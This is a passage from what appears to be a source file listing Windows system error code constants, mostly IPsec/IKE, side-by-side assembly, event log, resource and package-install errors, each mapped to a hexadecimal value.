       = 0x000032cb\nERROR_IPSEC_MM_POLICY_NOT_FOUND                                          = 0x000032cc\nERROR_IPSEC_MM_POLICY_IN_USE                                             = 0x000032cd\nERROR_IPSEC_MM_FILTER_EXISTS                                             = 0x000032ce\nERROR_IPSEC_MM_FILTER_NOT_FOUND                                          = 0x000032cf\nERROR_IPSEC_TRANSPORT_FILTER_EXISTS                                      = 0x000032d0\nERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND                                   = 0x000032d1\nERROR_IPSEC_MM_AUTH_EXISTS                                               = 0x000032d2\nERROR_IPSEC_MM_AUTH_NOT_FOUND                                            = 0x000032d3\nERROR_IPSEC_MM_AUTH_IN_USE                                               = 0x000032d4\nERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND                                  = 0x000032d5\nERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND                                    = 0x000032d6\nERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND                                  = 0x000032d7\nERROR_IPSEC_TUNNEL_FILTER_EXISTS                                         = 0x000032d8\nERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND                                      = 0x000032d9\nERROR_IPSEC_MM_FILTER_PENDING_DELETION                                   = 0x000032da\nERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION                            = 0x000032db\nERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION                               = 0x000032dc\nERROR_IPSEC_MM_POLICY_PENDING_DELETION                                   = 0x000032dd\nERROR_IPSEC_MM_AUTH_PENDING_DELETION                                     = 0x000032de\nERROR_IPSEC_QM_POLICY_PENDING_DELETION                                   = 0x000032df\nWARNING_IPSEC_MM_POLICY_PRUNED                                           = 0x000032e0\nWARNING_IPSEC_QM_POLICY_PRUNED                                           = 0x000032e1\nERROR_IPSEC_IKE_NEG_STATUS_BEGIN                                         = 0x000035e8\nERROR_IPSEC_IKE_AUTH_FAIL                                                = 0x000035e9\nERROR_IPSEC_IKE_ATTRIB_FAIL                                              = 0x000035ea\nERROR_IPSEC_IKE_NEGOTIATION_PENDING                                      = 0x000035eb\nERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR                                 = 0x000035ec\nERROR_IPSEC_IKE_TIMED_OUT                                                = 0x000035ed\nERROR_IPSEC_IKE_NO_CERT                                                  = 0x000035ee\nERROR_IPSEC_IKE_SA_DELETED                                               = 0x000035ef\nERROR_IPSEC_IKE_SA_REAPED                                                = 0x000035f0\nERROR_IPSEC_IKE_MM_ACQUIRE_DROP                                          = 0x000035f1\nERROR_IPSEC_IKE_QM_ACQUIRE_DROP                                          = 0x000035f2\nERROR_IPSEC_IKE_QUEUE_DROP_MM                                            = 0x000035f3\nERROR_IPSEC_IKE_QUEUE_DROP_NO_MM                                         = 0x000035f4\nERROR_IPSEC_IKE_DROP_NO_RESPONSE                                         = 0x000035f5\nERROR_IPSEC_IKE_MM_DELAY_DROP                                            = 0x000035f6\nERROR_IPSEC_IKE_QM_DELAY_DROP                                            = 0x000035f7\nERROR_IPSEC_IKE_ERROR                                                    = 0x000035f8\nERROR_IPSEC_IKE_CRL_FAILED                                               = 0x000035f9\nERROR_IPSEC_IKE_INVALID_KEY_USAGE                                        = 0x000035fa\nERROR_IPSEC_IKE_INVALID_CERT_TYPE                                        = 0x000035fb\nERROR_IPSEC_IKE_NO_PRIVATE_KEY                                           = 0x000035fc\nERROR_IPSEC_IKE_SIMULTANEOUS_REKEY                                       = 0x000035fd\nERROR_IPSEC_IKE_DH_FAIL                                                  = 0x000035fe\nERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED                          = 0x000035ff\nERROR_IPSEC_IKE_INVALID_HEADER                                           = 0x00003600\nERROR_IPSEC_IKE_NO_POLICY                                                = 0x00003601\nERROR_IPSEC_IKE_INVALID_SIGNATURE                                        = 0x00003602\nERROR_IPSEC_IKE_KERBEROS_ERROR                                           = 0x00003603\nERROR_IPSEC_IKE_NO_PUBLIC_KEY                                            = 0x00003604\nERROR_IPSEC_IKE_PROCESS_ERR                                              = 0x00003605\nERROR_IPSEC_IKE_PROCESS_ERR_SA                                           = 0x00003606\nERROR_IPSEC_IKE_PROCESS_ERR_PROP                                         = 0x00003607\nERROR_IPSEC_IKE_PROCESS_ERR_TRANS                                        = 0x00003608\nERROR_IPSEC_IKE_PROCESS_ERR_KE                                           = 0x00003609\nERROR_IPSEC_IKE_PROCESS_ERR_ID                                           = 0x0000360a\nERROR_IPSEC_IKE_PROCESS_ERR_CERT                                         = 0x0000360b\nERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ                                     = 0x0000360c\nERROR_IPSEC_IKE_PROCESS_ERR_HASH                                         = 0x0000360d\nERROR_IPSEC_IKE_PROCESS_ERR_SIG                                          = 0x0000360e\nERROR_IPSEC_IKE_PROCESS_ERR_NONCE                                        = 0x0000360f\nERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY                                       = 0x00003610\nERROR_IPSEC_IKE_PROCESS_ERR_DELETE                                       = 0x00003611\nERROR_IPSEC_IKE_PROCESS_ERR_VENDOR                                       = 0x00003612\nERROR_IPSEC_IKE_INVALID_PAYLOAD                                          = 0x00003613\nERROR_IPSEC_IKE_LOAD_SOFT_SA                                             = 0x00003614\nERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN                                        = 0x00003615\nERROR_IPSEC_IKE_INVALID_COOKIE                                           = 0x00003616\nERROR_IPSEC_IKE_NO_PEER_CERT                                             = 0x00003617\nERROR_IPSEC_IKE_PEER_CRL_FAILED                                          = 0x00003618\nERROR_IPSEC_IKE_POLICY_CHANGE                                            = 0x00003619\nERROR_IPSEC_IKE_NO_MM_POLICY                                             = 0x0000361a\nERROR_IPSEC_IKE_NOTCBPRIV                                                = 0x0000361b\nERROR_IPSEC_IKE_SECLOADFAIL                                              = 0x0000361c\nERROR_IPSEC_IKE_FAILSSPINIT                                              = 0x0000361d\nERROR_IPSEC_IKE_FAILQUERYSSP                                             = 0x0000361e\nERROR_IPSEC_IKE_SRVACQFAIL                                               = 0x0000361f\nERROR_IPSEC_IKE_SRVQUERYCRED                                             = 0x00003620\nERROR_IPSEC_IKE_GETSPIFAIL                                               = 0x00003621\nERROR_IPSEC_IKE_INVALID_FILTER                                           = 0x00003622\nERROR_IPSEC_IKE_OUT_OF_MEMORY                                            = 0x00003623\nERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED                                    = 0x00003624\nERROR_IPSEC_IKE_INVALID_POLICY                                           = 0x00003625\nERROR_IPSEC_IKE_UNKNOWN_DOI                                              = 0x00003626\nERROR_IPSEC_IKE_INVALID_SITUATION                                        = 0x00003627\nERROR_IPSEC_IKE_DH_FAILURE                                               = 0x00003628\nERROR_IPSEC_IKE_INVALID_GROUP                                            = 0x00003629\nERROR_IPSEC_IKE_ENCRYPT                                                  = 0x0000362a\nERROR_IPSEC_IKE_DECRYPT                                                  = 0x0000362b\nERROR_IPSEC_IKE_POLICY_MATCH                                             = 0x0000362c\nERROR_IPSEC_IKE_UNSUPPORTED_ID                                           = 0x0000362d\nERROR_IPSEC_IKE_INVALID_HASH                                             = 0x0000362e\nERROR_IPSEC_IKE_INVALID_HASH_ALG                                         = 0x0000362f\nERROR_IPSEC_IKE_INVALID_HASH_SIZE                                        = 0x00003630\nERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG                                      = 0x00003631\nERROR_IPSEC_IKE_INVALID_AUTH_ALG                                         = 0x00003632\nERROR_IPSEC_IKE_INVALID_SIG                                              = 0x00003633\nERROR_IPSEC_IKE_LOAD_FAILED                                              = 0x00003634\nERROR_IPSEC_IKE_RPC_DELETE                                               = 0x00003635\nERROR_IPSEC_IKE_BENIGN_REINIT                                            = 0x00003636\nERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY                        = 0x00003637\nERROR_IPSEC_IKE_INVALID_MAJOR_VERSION                                    = 0x00003638\nERROR_IPSEC_IKE_INVALID_CERT_KEYLEN                                      = 0x00003639\nERROR_IPSEC_IKE_MM_LIMIT                                                 = 0x0000363a\nERROR_IPSEC_IKE_NEGOTIATION_DISABLED                                     = 0x0000363b\nERROR_IPSEC_IKE_QM_LIMIT                                                 = 0x0000363c\nERROR_IPSEC_IKE_MM_EXPIRED                                               = 0x0000363d\nERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID                                  = 0x0000363e\nERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH                               = 0x0000363f\nERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID                                    = 0x00003640\nERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD                                     = 0x00003641\nERROR_IPSEC_IKE_DOS_COOKIE_SENT                                          = 0x00003642\nERROR_IPSEC_IKE_SHUTTING_DOWN                                            = 0x00003643\nERROR_IPSEC_IKE_CGA_AUTH_FAILED                                          = 0x00003644\nERROR_IPSEC_IKE_PROCESS_ERR_NATOA                                        = 0x00003645\nERROR_IPSEC_IKE_INVALID_MM_FOR_QM                                        = 0x00003646\nERROR_IPSEC_IKE_QM_EXPIRED                                               = 0x00003647\nERROR_IPSEC_IKE_TOO_MANY_FILTERS                                         = 0x00003648\nERROR_IPSEC_IKE_NEG_STATUS_END                                           = 0x00003649\nERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL                                    = 0x0000364a\nERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE                              = 0x0000364b\nERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING                               = 0x0000364c\nERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING                 = 0x0000364d\nERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS                                     = 0x0000364e\nERROR_IPSEC_IKE_RATELIMIT_DROP                                           = 0x0000364f\nERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE                               = 0x00003650\nERROR_IPSEC_IKE_AUTHORIZATION_FAILURE                                    = 0x00003651\nERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE                        = 0x00003652\nERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY                = 0x00003653\nERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE            = 0x00003654\nERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END                                  = 0x00003655\nERROR_IPSEC_BAD_SPI                                                      = 0x00003656\nERROR_IPSEC_SA_LIFETIME_EXPIRED                                          = 0x00003657\nERROR_IPSEC_WRONG_SA                                                     = 0x00003658\nERROR_IPSEC_REPLAY_CHECK_FAILED                                          = 0x00003659\nERROR_IPSEC_INVALID_PACKET                                               = 0x0000365a\nERROR_IPSEC_INTEGRITY_CHECK_FAILED                                       = 0x0000365b\nERROR_IPSEC_CLEAR_TEXT_DROP                                              = 0x0000365c\nERROR_IPSEC_AUTH_FIREWALL_DROP                                           = 0x0000365d\nERROR_IPSEC_THROTTLE_DROP                                                = 0x0000365e\nERROR_IPSEC_DOSP_BLOCK                                                   = 0x00003665\nERROR_IPSEC_DOSP_RECEIVED_MULTICAST                                      = 0x00003666\nERROR_IPSEC_DOSP_INVALID_PACKET                                          = 0x00003667\nERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED                                     = 0x00003668\nERROR_IPSEC_DOSP_MAX_ENTRIES                                             = 0x00003669\nERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED                                      = 0x0000366a\nERROR_IPSEC_DOSP_NOT_INSTALLED                                           = 0x0000366b\nERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES                             = 0x0000366c\nERROR_SXS_SECTION_NOT_FOUND                                              = 0x000036b0\nERROR_SXS_CANT_GEN_ACTCTX                                                = 0x000036b1\nERROR_SXS_INVALID_ACTCTXDATA_FORMAT                                      = 0x000036b2\nERROR_SXS_ASSEMBLY_NOT_FOUND                                             = 0x000036b3\nERROR_SXS_MANIFEST_FORMAT_ERROR                                          = 0x000036b4\nERROR_SXS_MANIFEST_PARSE_ERROR                                           = 0x000036b5\nERROR_SXS_ACTIVATION_CONTEXT_DISABLED                                    = 0x000036b6\nERROR_SXS_KEY_NOT_FOUND                                                  = 0x000036b7\nERROR_SXS_VERSION_CONFLICT                                               = 0x000036b8\nERROR_SXS_WRONG_SECTION_TYPE                                             = 0x000036b9\nERROR_SXS_THREAD_QUERIES_DISABLED                                        = 0x000036ba\nERROR_SXS_PROCESS_DEFAULT_ALREADY_SET                                    = 0x000036bb\nERROR_SXS_UNKNOWN_ENCODING_GROUP                                         = 0x000036bc\nERROR_SXS_UNKNOWN_ENCODING                                               = 0x000036bd\nERROR_SXS_INVALID_XML_NAMESPACE_URI                                      = 0x000036be\nERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED                         = 0x000036bf\nERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED                         = 0x000036c0\nERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE                            = 0x000036c1\nERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE                    = 0x000036c2\nERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE                    = 0x000036c3\nERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT                 = 0x000036c4\nERROR_SXS_DUPLICATE_DLL_NAME                                             = 0x000036c5\nERROR_SXS_DUPLICATE_WINDOWCLASS_NAME                                     = 0x000036c6\nERROR_SXS_DUPLICATE_CLSID                                                = 0x000036c7\nERROR_SXS_DUPLICATE_IID                                                  = 0x000036c8\nERROR_SXS_DUPLICATE_TLBID                                                = 0x000036c9\nERROR_SXS_DUPLICATE_PROGID                                               = 0x000036ca\nERROR_SXS_DUPLICATE_ASSEMBLY_NAME                                        = 0x000036cb\nERROR_SXS_FILE_HASH_MISMATCH                                             = 0x000036cc\nERROR_SXS_POLICY_PARSE_ERROR                                             = 0x000036cd\nERROR_SXS_XML_E_MISSINGQUOTE                                             = 0x000036ce\nERROR_SXS_XML_E_COMMENTSYNTAX                                            = 0x000036cf\nERROR_SXS_XML_E_BADSTARTNAMECHAR                                         = 0x000036d0\nERROR_SXS_XML_E_BADNAMECHAR                                              = 0x000036d1\nERROR_SXS_XML_E_BADCHARINSTRING                                          = 0x000036d2\nERROR_SXS_XML_E_XMLDECLSYNTAX                                            = 0x000036d3\nERROR_SXS_XML_E_BADCHARDATA                                              = 0x000036d4\nERROR_SXS_XML_E_MISSINGWHITESPACE                                        = 0x000036d5\nERROR_SXS_XML_E_EXPECTINGTAGEND                                          = 0x000036d6\nERROR_SXS_XML_E_MISSINGSEMICOLON                                         = 0x000036d7\nERROR_SXS_XML_E_UNBALANCEDPAREN                                          = 0x000036d8\nERROR_SXS_XML_E_INTERNALERROR                                            = 0x000036d9\nERROR_SXS_XML_E_UNEXPECTED_WHITESPACE                                    = 0x000036da\nERROR_SXS_XML_E_INCOMPLETE_ENCODING                                      = 0x000036db\nERROR_SXS_XML_E_MISSING_PAREN                                            = 0x000036dc\nERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE                                      = 0x000036dd\nERROR_SXS_XML_E_MULTIPLE_COLONS                                          = 0x000036de\nERROR_SXS_XML_E_INVALID_DECIMAL                                          = 0x000036df\nERROR_SXS_XML_E_INVALID_HEXIDECIMAL                                      = 0x000036e0\nERROR_SXS_XML_E_INVALID_UNICODE                                          = 0x000036e1\nERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK                                 = 0x000036e2\nERROR_SXS_XML_E_UNEXPECTEDENDTAG                                         = 0x000036e3\nERROR_SXS_XML_E_UNCLOSEDTAG                                              = 0x000036e4\nERROR_SXS_XML_E_DUPLICATEATTRIBUTE                                       = 0x000036e5\nERROR_SXS_XML_E_MULTIPLEROOTS                                            = 0x000036e6\nERROR_SXS_XML_E_INVALIDATROOTLEVEL                                       = 0x000036e7\nERROR_SXS_XML_E_BADXMLDECL                                               = 0x000036e8\nERROR_SXS_XML_E_MISSINGROOT                                              = 0x000036e9\nERROR_SXS_XML_E_UNEXPECTEDEOF                                            = 0x000036ea\nERROR_SXS_XML_E_BADPEREFINSUBSET                                         = 0x000036eb\nERROR_SXS_XML_E_UNCLOSEDSTARTTAG                                         = 0x000036ec\nERROR_SXS_XML_E_UNCLOSEDENDTAG                                           = 0x000036ed\nERROR_SXS_XML_E_UNCLOSEDSTRING                                           = 0x000036ee\nERROR_SXS_XML_E_UNCLOSEDCOMMENT                                          = 0x000036ef\nERROR_SXS_XML_E_UNCLOSEDDECL                                             = 0x000036f0\nERROR_SXS_XML_E_UNCLOSEDCDATA                                            = 0x000036f1\nERROR_SXS_XML_E_RESERVEDNAMESPACE                                        = 0x000036f2\nERROR_SXS_XML_E_INVALIDENCODING                                          = 0x000036f3\nERROR_SXS_XML_E_INVALIDSWITCH                                            = 0x000036f4\nERROR_SXS_XML_E_BADXMLCASE                                               = 0x000036f5\nERROR_SXS_XML_E_INVALID_STANDALONE                                       = 0x000036f6\nERROR_SXS_XML_E_UNEXPECTED_STANDALONE                                    = 0x000036f7\nERROR_SXS_XML_E_INVALID_VERSION                                          = 0x000036f8\nERROR_SXS_XML_E_MISSINGEQUALS                                            = 0x000036f9\nERROR_SXS_PROTECTION_RECOVERY_FAILED                                     = 0x000036fa\nERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT                                = 0x000036fb\nERROR_SXS_PROTECTION_CATALOG_NOT_VALID                                   = 0x000036fc\nERROR_SXS_UNTRANSLATABLE_HRESULT                                         = 0x000036fd\nERROR_SXS_PROTECTION_CATALOG_FILE_MISSING                                = 0x000036fe\nERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE                            = 0x000036ff\nERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME                       = 0x00003700\nERROR_SXS_ASSEMBLY_MISSING                                               = 0x00003701\nERROR_SXS_CORRUPT_ACTIVATION_STACK                                       = 0x00003702\nERROR_SXS_CORRUPTION                                                     = 0x00003703\nERROR_SXS_EARLY_DEACTIVATION                                             = 0x00003704\nERROR_SXS_INVALID_DEACTIVATION                                           = 0x00003705\nERROR_SXS_MULTIPLE_DEACTIVATION                                          = 0x00003706\nERROR_SXS_PROCESS_TERMINATION_REQUESTED                                  = 0x00003707\nERROR_SXS_RELEASE_ACTIVATION_CONTEXT                                     = 0x00003708\nERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY                        = 0x00003709\nERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE                               = 0x0000370a\nERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME                                = 0x0000370b\nERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE                                   = 0x0000370c\nERROR_SXS_IDENTITY_PARSE_ERROR                                           = 0x0000370d\nERROR_MALFORMED_SUBSTITUTION_STRING                                      = 0x0000370e\nERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN                                     = 0x0000370f\nERROR_UNMAPPED_SUBSTITUTION_STRING                                       = 0x00003710\nERROR_SXS_ASSEMBLY_NOT_LOCKED                                            = 0x00003711\nERROR_SXS_COMPONENT_STORE_CORRUPT                                        = 0x00003712\nERROR_ADVANCED_INSTALLER_FAILED                                          = 0x00003713\nERROR_XML_ENCODING_MISMATCH                                              = 0x00003714\nERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT                  = 0x00003715\nERROR_SXS_IDENTITIES_DIFFERENT                                           = 0x00003716\nERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT                                   = 0x00003717\nERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY                                      = 0x00003718\nERROR_SXS_MANIFEST_TOO_BIG                                               = 0x00003719\nERROR_SXS_SETTING_NOT_REGISTERED                                         = 0x0000371a\nERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE                                 = 0x0000371b\nERROR_SMI_PRIMITIVE_INSTALLER_FAILED                                     = 0x0000371c\nERROR_GENERIC_COMMAND_FAILED                                             = 0x0000371d\nERROR_SXS_FILE_HASH_MISSING                                              = 0x0000371e\nERROR_EVT_INVALID_CHANNEL_PATH                                           = 0x00003a98\nERROR_EVT_INVALID_QUERY                                                  = 0x00003a99\nERROR_EVT_PUBLISHER_METADATA_NOT_FOUND                                   = 0x00003a9a\nERROR_EVT_EVENT_TEMPLATE_NOT_FOUND                                       = 0x00003a9b\nERROR_EVT_INVALID_PUBLISHER_NAME                                         = 0x00003a9c\nERROR_EVT_INVALID_EVENT_DATA                                             = 0x00003a9d\nERROR_EVT_CHANNEL_NOT_FOUND                                              = 0x00003a9f\nERROR_EVT_MALFORMED_XML_TEXT                                             = 0x00003aa0\nERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL                                 = 0x00003aa1\nERROR_EVT_CONFIGURATION_ERROR                                            = 0x00003aa2\nERROR_EVT_QUERY_RESULT_STALE                                             = 0x00003aa3\nERROR_EVT_QUERY_RESULT_INVALID_POSITION                                  = 0x00003aa4\nERROR_EVT_NON_VALIDATING_MSXML                                           = 0x00003aa5\nERROR_EVT_FILTER_ALREADYSCOPED                                           = 0x00003aa6\nERROR_EVT_FILTER_NOTELTSET                                               = 0x00003aa7\nERROR_EVT_FILTER_INVARG                                                  = 0x00003aa8\nERROR_EVT_FILTER_INVTEST                                                 = 0x00003aa9\nERROR_EVT_FILTER_INVTYPE                                                 = 0x00003aaa\nERROR_EVT_FILTER_PARSEERR                                                = 0x00003aab\nERROR_EVT_FILTER_UNSUPPORTEDOP                                           = 0x00003aac\nERROR_EVT_FILTER_UNEXPECTEDTOKEN                                         = 0x00003aad\nERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL                  = 0x00003aae\nERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE                                 = 0x00003aaf\nERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE                               = 0x00003ab0\nERROR_EVT_CHANNEL_CANNOT_ACTIVATE                                        = 0x00003ab1\nERROR_EVT_FILTER_TOO_COMPLEX                                             = 0x00003ab2\nERROR_EVT_MESSAGE_NOT_FOUND                                              = 0x00003ab3\nERROR_EVT_MESSAGE_ID_NOT_FOUND                                           = 0x00003ab4\nERROR_EVT_UNRESOLVED_VALUE_INSERT                                        = 0x00003ab5\nERROR_EVT_UNRESOLVED_PARAMETER_INSERT                                    = 0x00003ab6\nERROR_EVT_MAX_INSERTS_REACHED                                            = 0x00003ab7\nERROR_EVT_EVENT_DEFINITION_NOT_FOUND                                     = 0x00003ab8\nERROR_EVT_MESSAGE_LOCALE_NOT_FOUND                                       = 0x00003ab9\nERROR_EVT_VERSION_TOO_OLD                                                = 0x00003aba\nERROR_EVT_VERSION_TOO_NEW                                                = 0x00003abb\nERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY                                   = 0x00003abc\nERROR_EVT_PUBLISHER_DISABLED                                             = 0x00003abd\nERROR_EVT_FILTER_OUT_OF_RANGE                                            = 0x00003abe\nERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE                                    = 0x00003ae8\nERROR_EC_LOG_DISABLED                                                    = 0x00003ae9\nERROR_EC_CIRCULAR_FORWARDING                                             = 0x00003aea\nERROR_EC_CREDSTORE_FULL                                                  = 0x00003aeb\nERROR_EC_CRED_NOT_FOUND                                                  = 0x00003aec\nERROR_EC_NO_ACTIVE_CHANNEL                                               = 0x00003aed\nERROR_MUI_FILE_NOT_FOUND                                                 = 0x00003afc\nERROR_MUI_INVALID_FILE                                                   = 0x00003afd\nERROR_MUI_INVALID_RC_CONFIG                                              = 0x00003afe\nERROR_MUI_INVALID_LOCALE_NAME                                            = 0x00003aff\nERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME                                  = 0x00003b00\nERROR_MUI_FILE_NOT_LOADED                                                = 0x00003b01\nERROR_RESOURCE_ENUM_USER_STOP                                            = 0x00003b02\nERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED                              = 0x00003b03\nERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME                               = 0x00003b04\nERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE                         = 0x00003b06\nERROR_MRM_INVALID_PRICONFIG                                              = 0x00003b07\nERROR_MRM_INVALID_FILE_TYPE                                              = 0x00003b08\nERROR_MRM_UNKNOWN_QUALIFIER                                              = 0x00003b09\nERROR_MRM_INVALID_QUALIFIER_VALUE                                        = 0x00003b0a\nERROR_MRM_NO_CANDIDATE                                                   = 0x00003b0b\nERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE                                  = 0x00003b0c\nERROR_MRM_RESOURCE_TYPE_MISMATCH                                         = 0x00003b0d\nERROR_MRM_DUPLICATE_MAP_NAME                                             = 0x00003b0e\nERROR_MRM_DUPLICATE_ENTRY                                                = 0x00003b0f\nERROR_MRM_INVALID_RESOURCE_IDENTIFIER                                    = 0x00003b10\nERROR_MRM_FILEPATH_TOO_LONG                                              = 0x00003b11\nERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE                                     = 0x00003b12\nERROR_MRM_INVALID_PRI_FILE                                               = 0x00003b16\nERROR_MRM_NAMED_RESOURCE_NOT_FOUND                                       = 0x00003b17\nERROR_MRM_MAP_NOT_FOUND                                                  = 0x00003b1f\nERROR_MRM_UNSUPPORTED_PROFILE_TYPE                                       = 0x00003b20\nERROR_MRM_INVALID_QUALIFIER_OPERATOR                                     = 0x00003b21\nERROR_MRM_INDETERMINATE_QUALIFIER_VALUE                                  = 0x00003b22\nERROR_MRM_AUTOMERGE_ENABLED                                              = 0x00003b23\nERROR_MRM_TOO_MANY_RESOURCES                                             = 0x00003b24\nERROR_MCA_INVALID_CAPABILITIES_STRING                                    = 0x00003b60\nERROR_MCA_INVALID_VCP_VERSION                                            = 0x00003b61\nERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION                            = 0x00003b62\nERROR_MCA_MCCS_VERSION_MISMATCH                                          = 0x00003b63\nERROR_MCA_UNSUPPORTED_MCCS_VERSION                                       = 0x00003b64\nERROR_MCA_INTERNAL_ERROR                                                 = 0x00003b65\nERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED                               = 0x00003b66\nERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE                                  = 0x00003b67\nERROR_AMBIGUOUS_SYSTEM_DEVICE                                            = 0x00003b92\nERROR_SYSTEM_DEVICE_NOT_FOUND                                            = 0x00003bc3\nERROR_HASH_NOT_SUPPORTED                                                 = 0x00003bc4\nERROR_HASH_NOT_PRESENT                                                   = 0x00003bc5\nERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED                               = 0x00003bd9\nERROR_GPIO_CLIENT_INFORMATION_INVALID                                    = 0x00003bda\nERROR_GPIO_VERSION_NOT_SUPPORTED                                         = 0x00003bdb\nERROR_GPIO_INVALID_REGISTRATION_PACKET                                   = 0x00003bdc\nERROR_GPIO_OPERATION_DENIED                                              = 0x00003bdd\nERROR_GPIO_INCOMPATIBLE_CONNECT_MODE                                     = 0x00003bde\nERROR_GPIO_INTERRUPT_ALREADY_UNMASKED                                    = 0x00003bdf\nERROR_CANNOT_SWITCH_RUNLEVEL                                             = 0x00003c28\nERROR_INVALID_RUNLEVEL_SETTING                                           = 0x00003c29\nERROR_RUNLEVEL_SWITCH_TIMEOUT                                            = 0x00003c2a\nERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT                                      = 0x00003c2b\nERROR_RUNLEVEL_SWITCH_IN_PROGRESS                                        = 0x00003c2c\nERROR_SERVICES_FAILED_AUTOSTART                                          = 0x00003c2d\nERROR_COM_TASK_STOP_PENDING                                              = 0x00003c8d\nERROR_INSTALL_OPEN_PACKAGE_FAILED                                        = 0x00003cf0\nERROR_INSTALL_PACKAGE_NOT_FOUND                                          = 0x00003cf1\nERROR_INSTALL_INVALID_PACKAGE                                            = 0x00003cf2\nERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED                                  = 0x00003cf3\nERROR_INSTALL_OUT_OF_DISK_SPACE                                          = 0x00003cf4\nERROR_INSTALL_NETWORK_FAILURE                                            = 0x00003cf5\nERROR_INSTALL_REGISTRATION_FAILURE                                       = 0x00003cf6\nERROR_INSTALL_DEREGISTRATION_FAILURE                                     = 0x00003cf7\nERROR_INSTALL_CANCEL                                                     = 0x00003cf8\nERROR_INSTALL_FAILED                                                     = 0x00003cf9\nERROR_REMOVE_FAILED                                                      = 0x00003cfa\nERROR_PACKAGE_ALREADY_EXISTS                                             = 0x00003cfb\nERROR_NEEDS_REMEDIATION                                                  = 0x00003cfc\nERROR_INSTALL_PREREQUISITE_FAILED                                        = 0x00003cfd\nERROR_PACKAGE_REPOSITORY_CORRUPTED                                       = 0x00003cfe\nERROR_INSTALL_POLICY_FAILURE                                             = 0x00003cff\nERROR_PACKAGE_UPDATING                                                   = 0x00003d00\nERROR_DEPLOYMENT_BLOCKED_BY_POLICY                                       = 0x00003d01\nERROR_PACKAGES_IN_USE                                                    = 0x00003d02\nERROR_RECOVERY_FILE_CORRUPT                                              = 0x00003d03\nERROR_INVALID_STAGED_SIGNATURE                                           = 0x00003d04\nERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED                     = 0x00003d05\nERROR_INSTALL_PACKAGE_DOWNGRADE                                          = 0x00003d06\nERROR_SYSTEM_NEEDS_REMEDIATION                                           = 0x00003d07\nERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN                                    = 0x00003d08\nERROR_RESILIENCY_FILE_CORRUPT                                            = 0x00003d09\nERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING                               = 